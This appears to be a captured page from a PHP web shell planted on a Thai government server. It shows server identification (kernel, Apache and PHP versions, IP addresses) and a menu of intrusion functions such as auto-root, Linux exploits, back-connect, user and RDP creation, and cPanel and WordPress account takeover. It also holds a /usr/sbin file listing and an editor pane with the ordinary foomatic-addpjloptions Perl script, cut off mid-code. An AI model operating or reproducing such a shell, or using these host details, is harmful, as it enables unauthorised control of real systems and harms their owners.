Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
sbin /
[ HOME SHELL ]
Name
Size
Permission
Action
.ipsec.hmac
65
B
-rw-r--r--
.sshd.hmac
65
B
-rw-r--r--
abrt-auto-reporting
24.84
KB
-rwxr-xr-x
abrt-dbus
32.25
KB
-rwxr-xr-x
abrt-install-ccpp-hook
2.77
KB
-rwxr-xr-x
abrt-server
28.77
KB
-rwxr-xr-x
abrtd
26.02
KB
-rwxr-xr-x
accept
10.24
KB
-rwxr-xr-x
accton
10.45
KB
-rwxr-xr-x
adcli
140.36
KB
-rwxr-xr-x
addgnupghome
3.05
KB
-rwxr-xr-x
adduser
108.71
KB
-rwxr-x---
alsa-delay
19.12
KB
-rwxr-xr-x
alsactl
101.37
KB
-rwxr-xr-x
alternatives
27.9
KB
-rwxr-xr-x
anacron
38.05
KB
-rwxr-xr-x
applygnupgdefaults
2.21
KB
-rwxr-xr-x
arpaname
15.68
KB
-rwxr-xr-x
arpd
41.7
KB
-rwxr-xr-x
arping
17.48
KB
-rwxr-xr-x
atrun
67
B
-rwxr-xr-x
authconfig
37.79
KB
-rwxr-xr-x
authconfig-tui
37.79
KB
-rwxr-xr-x
avcstat
13.66
KB
-rwxr-xr-x
biosdecode
17.77
KB
-rwxr-xr-x
brctl
36.81
KB
-rwxr-xr-x
build-locale-archive
741.4
KB
-rwx------
cacertdir_rehash
644
B
-rwxr-xr-x
cache_check
1.54
MB
-rwxr-xr-x
cache_dump
1.54
MB
-rwxr-xr-x
cache_metadata_size
1.54
MB
-rwxr-xr-x
cache_repair
1.54
MB
-rwxr-xr-x
cache_restore
1.54
MB
-rwxr-xr-x
capsh
16.23
KB
-rwxr-xr-x
chpasswd
49.65
KB
-rwxr-xr-x
chroot
31.03
KB
-rwxr-xr-x
cifs.idmap
10.27
KB
-rwxr-xr-x
cifs.upcall
38.75
KB
-rwxr-xr-x
ck-log-system-restart
18.7
KB
-rwxr-xr-x
ck-log-system-start
18.99
KB
-rwxr-xr-x
ck-log-system-stop
18.7
KB
-rwxr-xr-x
clockdiff
15.16
KB
-rwxr-xr-x
console-kit-daemon
155.27
KB
-rwxr-xr-x
convertquota
68.76
KB
-rwxr-xr-x
cpuspeed
22.05
KB
-rwxr-xr-x
cracklib-check
8.8
KB
-rwxr-xr-x
cracklib-format
218
B
-rwxr-xr-x
cracklib-packer
9.31
KB
-rwxr-xr-x
cracklib-unpacker
8.45
KB
-rwxr-xr-x
crda
13.67
KB
-rwxr-xr-x
create-cracklib-dict
990
B
-rwxr-xr-x
cupsaccept
10.24
KB
-rwxr-xr-x
cupsaddsmb
10.3
KB
-rwxr-xr-x
cupsctl
10.28
KB
-rwxr-xr-x
cupsdisable
10.24
KB
-rwxr-xr-x
cupsenable
10.24
KB
-rwxr-xr-x
cupsfilter
28.05
KB
-rwxr-xr-x
cupsreject
10.24
KB
-rwxr-xr-x
ddns-confgen
26.23
KB
-rwxr-xr-x
dmidecode
80.12
KB
-rwxr-xr-x
dnssec-dsfromkey
40.04
KB
-rwxr-xr-x
dnssec-keyfromlabel
39.27
KB
-rwxr-xr-x
dnssec-keygen
47.87
KB
-rwxr-xr-x
dnssec-revoke
32.86
KB
-rwxr-xr-x
dnssec-settime
38.97
KB
-rwxr-xr-x
dnssec-signzone
94.63
KB
-rwxr-xr-x
dump-acct
14.29
KB
-rwxr-xr-x
dump-utmp
14.37
KB
-rwxr-xr-x
e2freefrag
14.12
KB
-rwxr-xr-x
edquota
80.72
KB
-rwxr-xr-x
efibootmgr
49.73
KB
-rwxr-xr-x
eject
31.36
KB
-rwxr-xr-x
era_check
1.54
MB
-rwxr-xr-x
era_dump
1.54
MB
-rwxr-xr-x
era_invalidate
1.54
MB
-rwxr-xr-x
era_restore
1.54
MB
-rwxr-xr-x
ethtool
233.75
KB
-rwxr-xr-x
exportfs
59.65
KB
-rwxr-xr-x
fdformat
11.15
KB
-rwxr-xr-x
filefrag
13.55
KB
-rwxr-xr-x
foomatic-addpjloptions
29.16
KB
-rwxr-xr-x
foomatic-cleanupdrivers
1.34
KB
-rwxr-xr-x
foomatic-extract-text
4.46
KB
-rwxr-xr-x
foomatic-fix-xml
1.5
KB
-rwxr-xr-x
foomatic-getpjloptions
2.09
KB
-rwxr-xr-x
foomatic-kitload
3.17
KB
-rwxr-xr-x
foomatic-nonumericalids
4.39
KB
-rwxr-xr-x
foomatic-preferred-driver
9.1
KB
-rwxr-xr-x
foomatic-printermap-to-gutenpr...
4.99
KB
-rwxr-xr-x
foomatic-replaceoldprinterids
2.54
KB
-rwxr-xr-x
genhomedircon
33
B
-rwxr-xr-x
genrandom
17.37
KB
-rwxr-xr-x
getcap
10.02
KB
-rwxr-xr-x
getenforce
8.55
KB
-rwxr-xr-x
getpcaps
9.05
KB
-rwxr-xr-x
getsebool
10.42
KB
-rwxr-xr-x
glibc_post_upgrade.x86_64
676.62
KB
-rwx------
groupadd
57.71
KB
-rwxr-x---
groupdel
53.52
KB
-rwxr-x---
groupmems
53.67
KB
-rwxr-x---
groupmod
71.95
KB
-rwxr-x---
grpck
53.63
KB
-rwxr-xr-x
grpconv
49.52
KB
-rwxr-xr-x
grpunconv
49.52
KB
-rwxr-xr-x
htcacheclean
19.52
KB
-rwxr-xr-x
httpd
358.53
KB
-rwxr-xr-x
httpd.event
370.79
KB
-rwxr-xr-x
httpd.worker
370.79
KB
-rwxr-xr-x
httxt2dbm
10.93
KB
-rwxr-xr-x
hwclock
47.52
KB
-rwxr-xr-x
iconvconfig
25.89
KB
-rwxr-xr-x
iconvconfig.x86_64
25.89
KB
-rwxr-xr-x
iotop
452
B
-rwxr-xr-x
ipa-client-automount
17.82
KB
-rwxr-xr-x
ipa-client-install
100.75
KB
-rwxr-xr-x
ipa-getkeytab
37.9
KB
-rwxr-xr-x
ipa-join
40.68
KB
-rwxr-xr-x
ipa-rmkeytab
17.28
KB
-rwxr-xr-x
ipsec
11.82
KB
-rwxr-xr-x
isc-hmac-fixup
18.7
KB
-rwxr-xr-x
krb5-send-pr
14.16
KB
-rwxr-xr-x
latencytop
44.71
KB
-rwxr-xr-x
latencytop-tui
25.03
KB
-rwxr-xr-x
lchage
33.5
KB
-rwxr-xr-x
ldattach
13.23
KB
-rwxr-xr-x
ledctl
51.58
KB
-rwxr-xr-x
ledmon
55.14
KB
-rwxr-xr-x
lgroupadd
29.77
KB
-rwxr-xr-x
lgroupdel
28.7
KB
-rwxr-xr-x
lgroupmod
34.48
KB
-rwxr-xr-x
lid
18.53
KB
-rwxr-xr-x
lnewusers
34.29
KB
-rwxr-xr-x
lnstat
17.64
KB
-rwxr-xr-x
load_policy
10.21
KB
-rwxr-xr-x
lokkit
2.15
KB
-rwxr-xr-x
lpadmin
26.57
KB
-rwxr-xr-x
lpasswd
32.46
KB
-rwxr-xr-x
lpc
14.34
KB
-rwxr-xr-x
lpc.cups
14.34
KB
-rwxr-xr-x
lpinfo
14.23
KB
-rwxr-xr-x
lpmove
10.31
KB
-rwxr-xr-x
lsof
154.44
KB
-rwxr-xr-x
lsusb
105.49
KB
-rwxr-xr-x
luseradd
34.71
KB
-rwxr-xr-x
luserdel
30.52
KB
-rwxr-xr-x
lusermod
36.7
KB
-rwxr-xr-x
makedumpfile
309.8
KB
-rwxr-xr-x
makewhatis
13.79
KB
-rwxr-xr-x
matchpathcon
12.01
KB
-rwxr-xr-x
mcelog
117.1
KB
-rwxr-xr-x
mkdict
218
B
-rwxr-xr-x
mklost+found
9.4
KB
-rwxr-xr-x
mksock
10.41
KB
-rwxr-xr-x
mountstats
34.53
KB
-rwxr-xr-x
mtr
63
KB
-rwxr-xr-x
named-checkconf
40.13
KB
-rwxr-xr-x
named-checkzone
35.8
KB
-rwxr-xr-x
named-compilezone
35.8
KB
-rwxr-xr-x
named-journalprint
17.26
KB
-rwxr-xr-x
newusers
71.93
KB
-rwxr-xr-x
nfsidmap
16.46
KB
-rwxr-xr-x
nfsiostat
23.18
KB
-rwxr-xr-x
nfsstat
27.63
KB
-rwxr-xr-x
nsec3hash
18.2
KB
-rwxr-xr-x
nstat
19.88
KB
-rwxr-xr-x
ntp-keygen
180.27
KB
-rwxr-xr-x
ntpdate
108.3
KB
-rwxr-xr-x
ntpdc
248.45
KB
-rwxr-xr-x
ntpq
246.51
KB
-rwxr-xr-x
ntptime
71.14
KB
-rwxr-xr-x
ntsysv
32.95
KB
-rwxr-xr-x
ownership
11.86
KB
-rwxr-xr-x
packer
9.31
KB
-rwxr-xr-x
pdata_tools
1.54
MB
-rwxr-xr-x
pethtool
8.94
KB
-rwxr-xr-x
pifconfig
3.03
KB
-rwxr-xr-x
ping6
35.63
KB
-rwsr-xr-x
pluginviewer
18.22
KB
-rwxr-xr-x
plymouth-set-default-theme
6.2
KB
-rwxr-xr-x
pm-hibernate
2.76
KB
-rwxr-xr-x
pm-powersave
1.53
KB
-rwxr-xr-x
pm-suspend
2.76
KB
-rwxr-xr-x
pm-suspend-hybrid
2.76
KB
-rwxr-xr-x
postconf
297.07
KB
-rwxr-xr-x
postdrop
184.57
KB
-rwxr-sr-x
postmap
212.7
KB
-rwxr-xr-x
postmulti
124.41
KB
-rwxr-xr-x
postqueue
212.73
KB
-rwxr-sr-x
powertop
426.14
KB
-rwxr-xr-x
prelink
1.25
MB
-rwxr-xr-x
pwck
49.61
KB
-rwxr-xr-x
pwconv
45.52
KB
-rwxr-xr-x
pwunconv
36.43
KB
-rwxr-xr-x
quotastats
11.21
KB
-rwxr-xr-x
raid-check
3.7
KB
-rwxr-xr-x
readprofile
15.25
KB
-rwxr-xr-x
redhat_lsb_trigger.x86_64
2.83
KB
-rwx------
regdbdump
9.26
KB
-rwxr-xr-x
reject
10.24
KB
-rwxr-xr-x
repquota
72.66
KB
-rwxr-xr-x
rndc
40.31
KB
-rwxr-xr-x
rndc-confgen
26.63
KB
-rwxr-xr-x
rotatelogs
16.55
KB
-rwxr-xr-x
rpcdebug
16.03
KB
-rwxr-xr-x
rpcinfo
27.25
KB
-rwxr-xr-x
rtacct
35.56
KB
-rwxr-xr-x
rtcwake
17.44
KB
-rwxr-xr-x
run_init
10.32
KB
-rwxr-xr-x
sa
31.53
KB
-rwxr-xr-x
safe_finger
8.69
KB
-rwxr-xr-x
sasldblistusers2
19.8
KB
-rwxr-xr-x
saslpasswd2
17.62
KB
-rwxr-xr-x
selinuxconlist
10.04
KB
-rwxr-xr-x
selinuxdefcon
10.39
KB
-rwxr-xr-x
selinuxenabled
7.8
KB
-rwxr-xr-x
semodule
18.9
KB
-rwxr-xr-x
sendmail
208.61
KB
-rwxr-xr-x
sendmail.postfix
208.61
KB
-rwxr-xr-x
sestatus
14.44
KB
-rwxr-xr-x
setcap
10.77
KB
-rwxr-xr-x
setenforce
9.1
KB
-rwxr-xr-x
setquota
84.78
KB
-rwxr-xr-x
setregdomain
1.47
KB
-rwxr-xr-x
setsebool
14.41
KB
-rwxr-xr-x
setup
15.59
KB
-rwxr-xr-x
showmount
19.34
KB
-rwxr-xr-x
sm-notify
50.41
KB
-rwxr-xr-x
smartctl
560.77
KB
-rwxr-xr-x
smtp-sink
84.54
KB
-rwxr-xr-x
smtp-source
67.55
KB
-rwxr-xr-x
sosreport
898
B
-rwxr-xr-x
ss
73.9
KB
-rwxr-xr-x
sss_cache
87.11
KB
-rwxr-xr-x
start-statd
300
B
-rwxr-xr-x
suexec
13.66
KB
-r-s--x---
sys-unconfig
180
B
-rwxr-xr-x
system-config-network
188
B
-rwxr-xr-x
system-config-network-cmd
13.4
KB
-rwxr-xr-x
system-config-network-tui
10.02
KB
-rwxr-xr-x
t1libconfig
3.83
KB
-rwxr-xr-x
tcpdmatch
38.01
KB
-rwxr-xr-x
tcpdump
725.63
KB
-rwxr-xr-x
tcpslice
24.02
KB
-rwxr-xr-x
testsaslauthd
14.43
KB
-rwxr-xr-x
thin_check
1.54
MB
-rwxr-xr-x
thin_delta
1.54
MB
-rwxr-xr-x
thin_dump
1.54
MB
-rwxr-xr-x
thin_ls
1.54
MB
-rwxr-xr-x
thin_metadata_size
1.54
MB
-rwxr-xr-x
thin_repair
1.54
MB
-rwxr-xr-x
thin_restore
1.54
MB
-rwxr-xr-x
thin_rmap
1.54
MB
-rwxr-xr-x
thin_trim
1.54
MB
-rwxr-xr-x
tickadj
6.02
KB
-rwxr-xr-x
tmpwatch
21.15
KB
-rwxr-xr-x
togglesebool
10.43
KB
-rwxr-xr-x
tracepath
11.17
KB
-rwxr-xr-x
tracepath6
12.02
KB
-rwxr-xr-x
try-from
19.22
KB
-rwxr-xr-x
tunelp
12.24
KB
-rwxr-xr-x
tzdata-update
12.79
KB
-rwxr-xr-x
unbound-anchor
52.26
KB
-rwxr-xr-x
update-alternatives
27.9
KB
-rwxr-xr-x
update-pciids
1.72
KB
-rwxr-xr-x
update-smart-drivedb
8.25
KB
-rwxr-xr-x
useradd
108.71
KB
-rwxr-x---
userdel
71.93
KB
-rwxr-x---
userhelper
41.3
KB
-rws--x--x
usermod
112.4
KB
-rwxr-x---
usernetctl
8.79
KB
-rwsr-xr-x
vigr
59.95
KB
-rwxr-xr-x
vipw
59.95
KB
-rwxr-xr-x
virt-what
10.06
KB
-rwxr-xr-x
visudo
155.24
KB
-rwxr-xr-x
vnstat.cron
311
B
-rwxr-xr-x
vnstatd
59.95
KB
-rwxr-xr-x
vpddecode
14.49
KB
-rwxr-xr-x
warnquota
80.91
KB
-rwxr-xr-x
yppoll
16.26
KB
-rwxr-xr-x
ypserv_test
19.26
KB
-rwxr-xr-x
ypset
14.2
KB
-rwxr-xr-x
yptest
19.48
KB
-rwxr-xr-x
yum-complete-transaction
9.7
KB
-rwxr-xr-x
yumdb
7.83
KB
-rwxr-xr-x
zdump
16.98
KB
-rwxr-xr-x
zic
49.08
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : foomatic-addpjloptions
#!/usr/bin/perl # # This script adds PJL options, polled from the printer, into the Foomatic # database. Use "foomatic-getpjloptions" to poll the options, use # "foomatic-addpjloptions -h" for help. # # # Till Kamppeter (till.kamppeter@gmx.net) # # Copyright 2001 Till Kamppeter # # This software may be freely redistributed under the terms of the GNU # General Public License (http://www.gnu.org/). # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. # use strict; use FileHandle; my $dir = "./foomatic-db/opt"; sub usage(){ print STDERR <<EOF; Usage: foomatic-addpjloptions [-dafis][-o option_dir] -p printer_ID [<pjl option file>] foomatic-addpjloptions [-dqaf] [<pjl option file>] foomatic-addpjloptions -h -a Include all options -d enable debugging output -f Do not ask user whether he really wants to add the PJL options -i Include only important options -s Create a single option file -q Summary format -h This help message -p printer_ID Printer where to add the PJL options -o option_dir directory for saving option files (default $dir) <pjl option file> File with the PJL options returned by the printer, if this filename is not provided, the PJL options are taken from standard input. EOF exit(1); } # ignore the following entries by default my $opt = {}; my $debug = 0; my $exclusions = { 'PAPER'=>1, # already handled by Ghostscript/PS 'RESOLUTION'=>1, # already handled by Ghostscript/PS 'LANG'=>1, # only affects printer display 'PERSONALITY'=>1,# the page description language # is set by the driver 'PAGECOUNT'=>1, # printer-internal counters, 'LPAGECOUNT'=>1, # no influence on print job 'PAGES'=>1, 'MAINTINTERVAL'=>1, 'FORMLINES'=>1, # only for text printing 'AUTOCRLF'=>1, # but Foomatic prints text as 'AUTOLFCR'=>1, # PostScript 'FONTSOURCE'=>1, 'FONTNUMBER'=>1, 'PITCH'=>1, 'PTSIZE'=>1, 'SYMSET'=>1, 'LFONTPRIORITY'=>1, 'POWERSAVE'=>1, # not a per-job setting 'TIMEOUT'=>1, 'USERNAME'=>1, # String options 'JOBNAME'=>1, }; # important options my $longsubs = { 'copies' => 'Number of Copies', 'orientation' => 'Orientation', 'ret' => 'Resolution Enhancement', 'manualfeed' => 'Manual Feed of Paper', 'pageprotect' => 'Page Protection', 'mptray' => 'Multi-Purpose Tray', 'density' => 'Toner Density', 'lowtoner' => 'Behaviour when Toner Low', 'outbin' => 'Output Bin', 'joboffset' => 'Job Offset', 'economode' => 'Toner Saving', 'ecoprint' => 'Toner Saving', 'intray1size' => 'Paper Size in Tray 1', 'intray2size' => 'Paper Size in Tray 2', 'intray3size' => 'Paper Size in Tray 3', 'intray4size' => 'Paper Size in Tray 4', 'intray5size' => 'Paper Size in Tray 5', 'intray6size' => 'Paper Size in Tray 6', 'intray7size' => 'Paper Size in Tray 7', 'intray8size' => 'Paper Size in Tray 8', 'intray9size' => 'Paper Size in Tray 9', 'intray10size' => 'Paper Size in Tray 10', 'widea4' => 'Wide A4', 'bitsperpixel' => 'Bits Per Pixel', 'holdtype' => 'Hold Job Type', 'hold' => 'Hold Job', 'pr1200speed' => 'Speed at 1200 dpi', 'outbinprocess' => 'Output Bin Process', 'finish' => 'Finisher', 'stapleoption' => 'Stapling Mode', 'extendedprintarea' => 'Extended Print Area', 'heldjobtimeout' => 'Timeout for Held Jobs', 'imageadapt' => 'Image Adaptation', 'autocont' => 'Autocont', 'fastraster' => 'Fast Raster', 'intray1' => 'Input Tray 1', 'intray2' => 'Input Tray 2', 'intray3' => 'Input Tray 3', 'intray4' => 'Input Tray 4', 'intray5' => 'Input Tray 5', 'intray6' => 'Input Tray 6', 'intray7' => 'Input Tray 7', 'intray8' => 'Input Tray 8', 'intray9' => 'Input Tray 9', 'intray10' => 'Input Tray 10', 'duplex' => 'Double-Sided Printing', 'binding' => 'Binding', 'holdkey' => 'Key for Held Jobs', 'lparm_postscript_prtpserrs' => 'Print PostScript Errors', 'limageenhance' => 'Image Enhancement', 'limageenhancetype' => 'Image Enhancement Type', 'lblankpages' => 'Blank Pages', 'lcollation' => 'Collation', 'limagerotation' => 'Image Rotation', 'linmpfeedersize' => 'Paper Size in MP Feeder', 'lsubstitutesize' => 'Substitute Paper Size', 'lpicturegrade' => 'Picture Grade', 'ljamrecovery' => 'Jam Recovery', 'lpagemode' => 'Page Mode', 'lmultipageborder' => 'Border for N-up Printing', 'lmultipageorder' => 'Order for N-up Printing', 'lmultipageprint' => 'Pages per Sheet (N-up Printing)', 'lmultipageview' => 'Orientation for N-up Printing', 'lparm_pcl_lbitmaprounding' => 'Bitmap Rounding', 'lparm_pcl_lcolorextensiond' => 'Colour Extensions', 'lseparatorsheets' => 'Separator Sheets', 'lseparatorsource' => 'Take Separator Sheets From', 'econolevel' => 'Toner Saving Level', 'mediatype' => 'Media Type', 'mediasource' => 'Media Source', 'sourcetray' => 'Media Source', 'kintrayselect' => 'Media Source', 'okipaperfeed' => 'Media Source', 'lpapersource' => 'Media Source', 'errorprint' => 'Print Error Messages', 'lcolormodel' => 'Colour Model', 'lcolorcorrection' => 'Colour Correction', 'limagebrightness' => 'Image Brightness', 'limagecontrast' => 'Image Contrast', 'limagesmoothing' => 'Image Smoothing', 'lprintquality' => 'Printout Quality', 'okipapersizecheck' => 'Paper Size Checking' #'papersize' => 'Media Size', #'paper' => 'Media Size', #'lang' => 'Language', #'resolution' => 'Resolution', #'personality' => 'Personality', #'timeout' => 'Timeout', #'cplock' => 'CP Lock', #'powersave' => 'Power Saving', #'powersavetime' => 'Power Saving Timeout', #'iobuffer' => 'I/O Buffer', #'iosize' => 'I/O Size', #'resourcesave' => 'Resource Saving', #'disklock' => 'Disk Lock', #'qty' => 'Quantity', #'courier' => 'Courier', #'formlines' => 'Form Lines', #'reprint' => 'Reprint', #'password' => 'Password', #'username' => 'User Name', #'jobname' => 'Job Name', #'testpage' => 'Test Page', #'planesinuse' => 'Planes in Use', #'outlinepointsize' => 'Outline Point Size', #'maintinterval' => 'Maintenance Interval', #'finishertype' => 'Finisher Type', #'finisheroption' => 'Finisher Option', #'hitransfer' => 'Hi Transfer', #'parallel' => 'Parallel Port Mode', #'xoffset' => 'X Offset', #'yoffset' => 'Y Offset', #'lpowersaver' => 'Power Saver', #'ladvancedstatus' => 'Advanced Status', #'lalarmcontrol' => 'Alarm Control', #'lcancel' => 'Cancel', #'lresourcesave' => 'Resource Saving', #'lleftmarginoffset' => 'Left Margin Offset', #'ltopmarginoffset' => 'Top Margin Offset', #'okieurosign' => 'Euro Character', }; # Read command line options use Getopt::Std; # Printer ID, force (no printer ID confirmation) getopts("p:o:afisqh",$opt) || usage(); # Show usage info if ($opt->{h}) { usage(); } $debug = $opt->{d} if $opt->{d}; if( $opt->{a} ){ $opt->{i} = 0; $exclusions = {}; } $dir = $opt->{o} if $opt->{o}; my $libdir = "."; my($printer,$manufacturer,$model,$templatename); # Check presence of a printer ID if ($opt->{p}) { $printer = $opt->{p}; } elsif( not $opt->{q} ){ die "No printer ID given! Use the '-p <Foomatic printer ID>' option."; } if( $printer ){ print "# PRINTER '$printer'\n"; # Does the chosen printer ID exist in the database? my $printerdbentryfile = `grep -l printer/$printer $libdir/db/source/printer/*.xml 2>/dev/null` || die "No printer with the Foomatic ID $printer in the $libdir/db/source/printer/*.xml local database"; print "# Printer $printerdbentryfile\n" if $debug; my @p = split(" ", $printerdbentryfile); if( @p != 1 ){ print STDERR <<EOF; Multiple matches for $printer EOF print STDERR join("\n ",@p) . "\n"; exit 1; } $manufacturer = `grep "<.*make.*>" $printerdbentryfile`; $manufacturer =~ m!<\s*make\s*>\s*(.*)\s*<\s*/make\s*>!; $manufacturer = $1; $model = `grep "<.*model.*>" $printerdbentryfile`; $model =~ m!<\s*model\s*>\s*(.*)\s*<\s*/model\s*>!; $model = $1; } # Check presence of the PJL option snapshot file my $snapshotfile = "STDIN"; if ($ARGV[0]) { $snapshotfile = $ARGV[0]; # Does the chosen snapshot file exist? if (!-f $snapshotfile) { die "The given PJL snapshot file $snapshotfile does not exist!"; } } else { # interactive mode not supported with PJL snapshot from STDIN $opt->{f} = 1; } # Tell the user what we will do if( not $opt->{q} ){ print "# The PJL options from the file $snapshotfile\n"; print "# will be added to the $manufacturer $model.\n\n"; } # Ask whether this is correct if (!$opt->{f}) { print "Is this correct (y/n)? "; my $input=<STDIN>; if ($input ne "y\n") {exit 0;} print "\n"; } # Read the PJL snapshot file my @snapshot = (); if ($snapshotfile ne "STDIN") { open PJLSNAPSHOT, "$snapshotfile" or die "Cannot open $snapshotfile!"; @snapshot = <PJLSNAPSHOT>; close PJLSNAPSHOT; } else { # Read STDIN @snapshot = <STDIN>; } if( !$opt->{q} ){ # OK, make the db hierarchy alongside the templates one... print "# options in directory $dir\n"; print `mkdir -p $dir` . "\n" if (not -d $dir ); die "cannot create directory $dir" if ( not -d $dir ); } # Read the options and add them to the database my $inoptionlisting = 0; # 1 if we are after a line "@PJL INFO VARIABLES" # and no other "@PJL ..." line appeared my $option = ""; # Name of current option my $optiontype = -1; # 0: enum, 1: int, 2: float, -1: not found yet my $numchoices = -1; # Number of choices, -1: not found yet my $default = ""; # Default setting my @choices = (); # List of possible choices my $choicesfound = 0; # How many choices were already found my $NEWF; my $outputline = ""; if( $opt->{s} and not $opt->{q} ){ my $dbfilename = "foomatic-db/opt/pjl-${manufacturer}-${model}.xml"; print "# writing $dbfilename\n"; $dbfilename =~ s/\s/_/g; $NEWF = new FileHandle "> $dbfilename" or die "cannot open $dbfilename"; } for my $line (@snapshot) { chomp $line; $line =~ s/\015//; print "xxx $line\n" if $debug; if ($line !~ m/^\s*$/) { # Ignore blank lines if ($inoptionlisting == 0) { # Start of option block not found yet if ($line =~ m/^\s*\@PJL\s*INFO\s*VARIABLES\s*$/) { $inoptionlisting = 1; # Start of option block print "# >>> OPTION BLOCK FOUND\n"; } } else { # we are in the option block now if ($line =~ m/^\s*\@PJL/) { $inoptionlisting = 0; # End of option block print "# >>> END OF OPTION BLOCK\n"; } elsif ( $line =~ m/^\s*([\w\s:]*)\s*=\s*\"?([\w\.\?]*)\"?\s*\[\s*([0-9]*)\s*(\w*)\s*(\w*)\]/ or $line =~ m/^\s*([\w\s:]*)\s*=\s*\"(.*)\"\s*\[\s*(\w*)\s*\]/ # option default numchoices ) { # Option header if ($numchoices > -1) { print "# WARNING: Choice(s) missing, option ignored!\n"; } if( $outputline ){ print $outputline . "\n"; $outputline = ""; } my $typestr; my $modifierstr; ($option, $default, $numchoices, $typestr, $modifierstr) = ($1, $2, $3, $4, $5); if( $numchoices eq "STRING" ){ $typestr = $numchoices; $numchoices = ""; } print "# Option: '$option', Default '$default', Numchoices '$numchoices', Typestr '$typestr', Modifier '$modifierstr'\n"; if ($modifierstr eq "READONLY") { # Ignore READONLY options $numchoices = -2; print "# WARNING: Read-only option, ignored!\n"; } elsif (($modifierstr eq "STRING") || ($typestr eq "STRING")) { if( defined $exclusions->{$option} ){ $numchoices = -2; print "# WARNING: Option does not make sense for Foomatic, ignored!\n"; next; }; if( $opt->{q} ){ my $optname = $option; $optname =~ s/\W/_/g; $outputline = $optname; if( $optname ne $option ){ $optname = "($option)"; $optname =~ s/\s/+/g; } else { $optname = ""; } $outputline .= "=${optname}STRING"; } my $shortoption = $option; $shortoption =~ tr/A-Z :/a-z__/; # $shortoption is # lowercase and without # spaces my $longoption = $shortoption; my $optionid = "pjl-$printer-$shortoption"; # Substitution list to for the menu texts of the options # ($longoption) # Only options of major importance are substituted, so # one can separate options of lower importance # ($longoption begins with a lowercase letter) into # an "advanced options" group. The "-i" (Important) # option removes these options of low importance # Do the substitutions my $substituted = 0; my ($substr); for $substr (keys(%$longsubs)) { my $substitution = $longsubs->{$substr}; if (($longoption =~ m!^$substr$!) ){ $longoption =~ s!^$substr$!$substitution!g; # Remove option if not substituted and "-i" # flag is set (option is not "important" $substituted = 1; next; } } if( $opt->{i} and not $substituted ){ # Reset variables $option = ""; $optiontype = -1; $numchoices = -1; $default = ""; @choices = (); $choicesfound = 0; next; } my $numtype = ""; my $optionsubs = { 'NUMTYPE' => $numtype, 'OPTIONID' => $optionid, 'SHORTOPTION' => $shortoption, 'LONGOPTION' => $longoption, 'OPTION' => $option, 'MAKE' => $manufacturer, 'MODEL' => $model, 'DEFAULT' => $default, }; # load template file for the choice entry $templatename = "/usr/share/foomatic/templates/pjl_string_option.xml"; open TMPL, $templatename or die "cannot open $templatename"; my @datafile = <TMPL>; close TMPL; my $template = join('',@datafile); # Do the substitutions my ($substr); for $substr (keys(%$optionsubs)) { my $substitution = $optionsubs->{$substr}; $template =~ s!\@\@$substr\@\@!$substitution!g; } # Anything not substituted? grep (m!\@\@([^\@]+)\@\@!g && do { warn " Unknown substitution $1 in template file '$templatename'!\n"; }, split("\n",$template)); my $dbfilename = "foomatic-db/opt/$optionid.xml"; if( $opt->{q} ){ print $outputline."\n" if $outputline; $outputline = ""; } else { if( not $opt->{s} ){ $NEWF = new FileHandle "> $dbfilename" or die "cannot open $dbfilename"; } else { $dbfilename = "$optionid"; } print "# writing $dbfilename..."; print $NEWF $template; print " done.\n"; if( not $opt->{s} ){ close $NEWF; } } # Reset variables $option = ""; $optiontype = -1; $numchoices = -1; $default = ""; @choices = (); $choicesfound = 0; next; } elsif ($numchoices < 2) { # Options with less than two choices # do not make any sense, discard them $numchoices = -2; print "# WARNING: Less than two choices, option ignored!\n"; } else { # Option type 2 (float) is determined when # the choices are read. my $optval = $option; if( $opt->{q} ){ my $optname = $option; $optname =~ s/\W/_/g; $outputline = $optname; if( $optname ne $option ){ $optname = "($option)"; $optname =~ s/\s/+/g; } else { $optname = ""; } $outputline .= "=${optname}${typestr};"; } if ($typestr eq "ENUMERATED") {$optiontype = 0;} elsif ($typestr eq "RANGE") { $optiontype = 1; # Is the default value really a number? if ($default =~ m/[^0-9\.]/) { print "# WARNING: Default value for numerical option not a number, option ignored!\n"; $numchoices = -2; $outputline = ""; } } else { $numchoices = -2; print "# WARNING: Unsupported option type, option ignored!\n"; } } if ($numchoices > -2) { # Remove option if it is on exclusion list # These options do not make sense for PostScript-only # printing if( defined $exclusions->{$option} ){ $numchoices = -2; print "# WARNING: Option does not make sense for Foomatic, ignored!\n"; }; } } elsif ($numchoices > 1) { # We have a valid option header # for which not all choices are # found yet $line =~ m/^\s*(\S*)\s*$/; my $choice = $1; push (@choices, $choice); if (($optiontype == 1) && ($1 =~ /\./)) { # float option $optiontype = 2; } $choicesfound ++; if ($optiontype > 0) { # Is the value really a number? if ($default =~ m/[^0-9\.]/) { print "# WARNING: Value for numerical option not a number, option ignored!\n"; $numchoices = -2; } elsif ($choicesfound == 1) { # Minimum value if ($default < $choice) { print "# WARNING: Default value out of range, option ignored!\n"; $numchoices = -2; $outputline = ""; } } elsif ($choicesfound == 2) { # Maximum value if ($default > $choice) { print "# WARNING: Default value out of range, option ignored!\n"; $numchoices = -2; $outputline = ""; } elsif ($choices[0] == $choices[1]) { # Max = Min? print "# WARNING: Maximum and minimum are equal, option ignored!\n"; $numchoices = -2; $outputline = ""; } } } if ($numchoices == -2) { # Reset variables $option = ""; $optiontype = -1; $default = ""; @choices = (); $choicesfound = 0; } elsif ($choicesfound == $numchoices) { # All choices for # the current # option read #print "$option, $default, $numchoices, $optiontype\n"; #print "@choices\n"; if( $opt->{q} ){ $outputline .= join(",",@choices); } # Check, if the default is in the list of choices if ($optiontype == 0) { # Enum option: Default is in the choice list? my $defaultfound = 0; for $choice (@choices) { if ($default == $choice) {$defaultfound = 1}; } if ($defaultfound == 0) { # Add default value to the list push(@choices, $default); print("# 